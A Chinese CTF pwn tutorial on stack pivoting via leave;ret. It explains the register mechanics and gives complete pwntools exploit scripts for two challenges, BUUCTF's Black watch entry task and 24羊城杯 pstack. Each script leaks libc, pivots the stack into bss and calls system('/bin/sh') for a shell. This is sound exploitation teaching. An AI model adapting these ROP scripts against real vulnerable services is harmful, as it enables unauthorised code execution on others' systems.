介绍 最初学的时候看的文章:this
栈迁移:在于溢出的长度不够布置ROP链,可以迁移栈到一个合适的地址,合适的空间,布置ROP链,然后执行ROP链,getshell。
原理 修改ret address为leave ret,将rbp修改为要迁移的地址,即可栈迁移。
1 2 leave 相当于 mov rsp, rbp; pop rbp ; ret 相当于 pop rip
第一次leave ret(函数结尾会自带来恢复栈状态)
1 2 3 4 leave: mov rsp,rbp; 将rbp的值给rsp,即将rsp拉到rbp的位置 pop rbp; 将rsp此时对应的值弹给rbp,所以之前将aim_addr覆盖为rbp就是为了此时将rbp弹为aim_addr,完成这一步,rbp迁移到aim address ;同时由于pop,rsp往高地址移动一个机器字长,即此时rsp是ret address ret : pop rip;将rsp此时的值弹给rip,即leave ret 弹给rip,会再次执行leave ret
第二次leave ret(溢出ret addr 得到的leave ret)
1 2 3 leave: ;rsp到rbp的位置,即aim_address pop rbp;将aim_addr所指向的数据弹给rbp,这里要注意!!!有一个字长的垃圾数据是没用的,此时的rbp无所谓弹到哪里,然后rsp向高地址移动 ret: pop rip; rsp此时在ROP链的开端,然后弹给rip开始执行ROP链
1 2 rbp -> aim_address(布置一个垃圾数据) or ->aim_address-8 ret address -> leave ret
例题 BUUCTF actf_2019_babystack 直接看这篇文章 ,很久之前写的
这道题目就是标准的栈迁移题目,也可以说是板子了,只允许你溢出0x10字节,刚好够覆盖rbp,ret_address,可以打一次栈迁移,泄露出栈地址,重复使用
但是没有泄露出栈地址怎么办呢?我们可以栈迁移到bss段上,见下题
BUUCTF Black watch入群题 题目链接
32位
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t vul_function () { size_t v0; size_t v1; char buf[24 ]; v0 = strlen (m1); write(1 , m1, v0); read(0 , &s, 0x200 u); v1 = strlen (m2); write(1 , m2, v1); return read(0 , buf, 0x20 u); }
s是在bss段上的,然后下方往buf读入数据,只能溢出两个机器字长,典型的栈迁移,但是这里是不可以泄露栈地址的,也就是说无法实现栈的复用,那么我们直接迁移到bss段上即可
分两步,第一步泄露libc,第二步get shell
1 2 3 4 5 6 7 8 9 p.recvuntil("What is your name?" ) payload = flat(write_plt,main,1 ,write_got,4 ) p.send(payload) p.recv() payload = cyclic(0x18 )+p32(bss-0x4 )+p32(leave_ret) p.send(payload)
1 2 3 4 5 6 7 8 9 p.recvuntil("What is your name?" ) payload = flat(system,0xdead ,bin_sh) p.send(payload) p.recv() payload = cyclic(0x18 )+p32(bss-4 )+p32(leave_ret) p.send(payload) p.interactive()
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *context(arch='i386' ,log_level='debug' ) p = remote("node5.buuoj.cn" ,27305 ) elf = ELF("./pwn" ) main = 0x08048513 write_plt = elf.plt['write' ] write_got = elf.got['write' ] bss = 0x0804A300 leave_ret = 0x08048408 p.recvuntil("What is your name?" ) payload = flat(write_plt,main,1 ,write_got,4 ) p.send(payload) p.recv() payload = cyclic(0x18 )+p32(bss-0x4 )+p32(leave_ret) p.send(payload) write_addr = u32(p.recv(4 )) success("write address: " +hex (write_addr)) libc = ELF("libc-2.23.so" ) base = write_addr - libc.sym['write' ] system = base + libc.sym['system' ] bin_sh = base + next (libc.search(b'/bin/sh\x00' )) p.recvuntil("What is your name?" ) payload = flat(system,0xdead ,bin_sh) p.send(payload) p.recv() payload = cyclic(0x18 )+p32(bss-4 )+p32(leave_ret) p.send(payload) p.interactive()
思考
该题目是可以往bss段上面读入东西,然后栈迁移执行即可,那万一失去了往bss段读的权力呢?比如说没有第一个read,还可以写吗?
其实还是可以的,通过read的函数实现,看到下一题
24羊城杯pstack 附件下载地址: 链接:https://pan.baidu.com/s/1TNRnyduX8HTeAFWrAywdww?pwd=4sco 提取码:4sco
通过read拓展”栈空间” 1 2 3 4 5 6 ssize_t vuln () { char buf[48 ]; puts ("Can you grasp this little bit of overflow?" ); return read(0 , buf, 0x40 uLL); }
代码很简单,64位程序,相当于上题去掉了第一个read,然后其余都是一样的,可以溢出两个字长,打栈迁移,但是我们没有栈地址,也没有提前往bss段布置好ROP链,那就不可以写了吗?看到read的汇编
1 fd -> rdi -> rax -> [rbp+buf]
我们的read是往rbp+buf的地址写入0x40的数据的,那么我们将rbp覆盖为bss+0x30,ret_addr改为lea rax,[rbp+buf]
这条指令的地址(可记作m_read
),不就可以实现往bss段上读入数据,即提前布置好ROP链吗?!!
讲解
第一步先用m_read往bss段上面写入ROP链,该ROP链用于泄露libc
1 2 3 4 5 6 7 p.recvuntil("Can you grasp this little bit of overflow?\n" ) payload = cyclic(0x30 ) + p64(bss) + p64(m_read) p.send(payload) payload = flat(bss,pop_rdi_ret,puts_got , puts_plt, m_read,0 ) payload += p64(bss - 0x30 ) + p64(leave_ret) p.send(payload)
这样程序会执行m_read,读入下方的payload
(1)第一个payload可以看到,rbp覆盖为bss,ret_addr为m_read
(2)第二个payload是在m_read
开始写入数据,注意看到rsp还是在栈上面的,说明你还可以通过栈溢出继续打栈迁移,需要注意,我们一次栈迁移肯定是不够的,所以要注意此时rbp不能是之前一段栈迁移一样填充垃圾数据,要填充为bss。
执行完ROP链之后会继续执行m_read
,此时的rbp应该是多少呢?就是你给的bss
此时直接布置ROP链get shell即可
1 2 3 4 5 payload = cyclic(0x20 ) payload += flat(pop_rdi_ret,bin_sh,system,m_read) p.send(payload) p.interactive()
解释一下这个payload,看下图:
写入数据从rbp-0x30
即0x601810写入,但是单纯的直接写入0x30的数据然后“栈溢出”写system(‘/bin/sh’)的ROP链能行吗?当然是不行的,你写了但是并不会执行,这里就要注意下面的call read
了
1 call: push rip; jmp addr; ret
从上面可以看出,call完函数之后,会执行ret,即pop rip
,此时将rsp改为ROP链的开头即可,但是注意,call
会先push rip
,会将rsp往低地址移动一个字长,即此时的rsp应该是0x601830,所以填充0x20的垃圾数据,然后布置ROP链即可。执行完syscall如下
可以注意到下方我们已经布置好了ROP链,然后DISASM页面先放还有一个ret,即可以执行ROP链,从而get shell。
其实也可以发现,最后的m_read可有可无
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(arch='amd64' ,log_level='debug' ) context.terminal='gnome-terminal' def bug (): gdb.attach(p) pause() p = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) m_read = 0x4006C4 bss = elf.bss()+0x800 +0x30 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] vuln = 0x4006B1 pop_rdi_ret = 0x0000000000400773 leave_ret = 0x00000000004006db ret = 0x0000000000400506 p.recvuntil("Can you grasp this little bit of overflow?\n" ) payload = cyclic(0x30 ) + p64(bss) + p64(m_read) p.send(payload) payload = flat(bss,pop_rdi_ret,puts_got , puts_plt, m_read,0 ) payload += p64(bss - 0x30 ) + p64(leave_ret) p.send(payload) puts_addr = u64(p.recvn(6 )+b'\x00\x00' ) base = puts_addr - libc.sym['puts' ] system = base + libc.sym['system' ] bin_sh = base + next (libc.search(b'/bin/sh\x00' )) payload = cyclic(0x20 ) payload += flat(pop_rdi_ret,bin_sh,system) p.send(payload) p.interactive()
进阶-2024NSSCTF秋季招新(不可名状的东西) 通过百度网盘分享的文件:虽然不知道你在期待什么?.7z 链接:https://pan.baidu.com/s/1WyFc6Zz3dGCvwNKcrfx31w?pwd=vdfs 提取码:vdfs